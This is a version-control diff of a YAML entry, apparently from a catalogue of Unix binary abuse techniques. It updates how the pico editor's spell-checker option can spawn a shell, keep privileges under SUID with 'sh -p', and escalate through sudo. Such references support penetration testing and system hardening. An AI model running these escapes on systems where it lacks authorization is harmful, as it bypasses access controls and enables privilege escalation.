Improve pico shell, suid, and sudo

This commit is contained in:
Emilio 2019-03-31 12:19:11 +01:00
parent 260b024c74
commit 75eff93c50

View File

@ -2,10 +2,8 @@
functions: functions:
shell: shell:
- code: | - code: |
TF=$(mktemp) pico -s /bin/sh
echo 'exec sh' > $TF /bin/sh
chmod +x $TF
pico -s $TF /etc/hosts
^T ^T
file-write: file-write:
- code: | - code: |
@ -17,15 +15,14 @@ functions:
suid: suid:
- code: | - code: |
TF=$(mktemp) TF=$(mktemp)
echo 'exec sh -p' > $TF echo '#!/bin/sh -p
exec sh -p' > $TF
chmod +x $TF chmod +x $TF
./pico -s $TF /etc/hosts ./pico -s $TF /etc/hosts
^T ^T
sudo: sudo:
- code: | - code: |
TF=$(mktemp) pico -s /bin/sh
echo 'exec sh' > $TF /bin/sh
chmod +x $TF
sudo pico -s $TF /etc/hosts
^T ^T
--- ---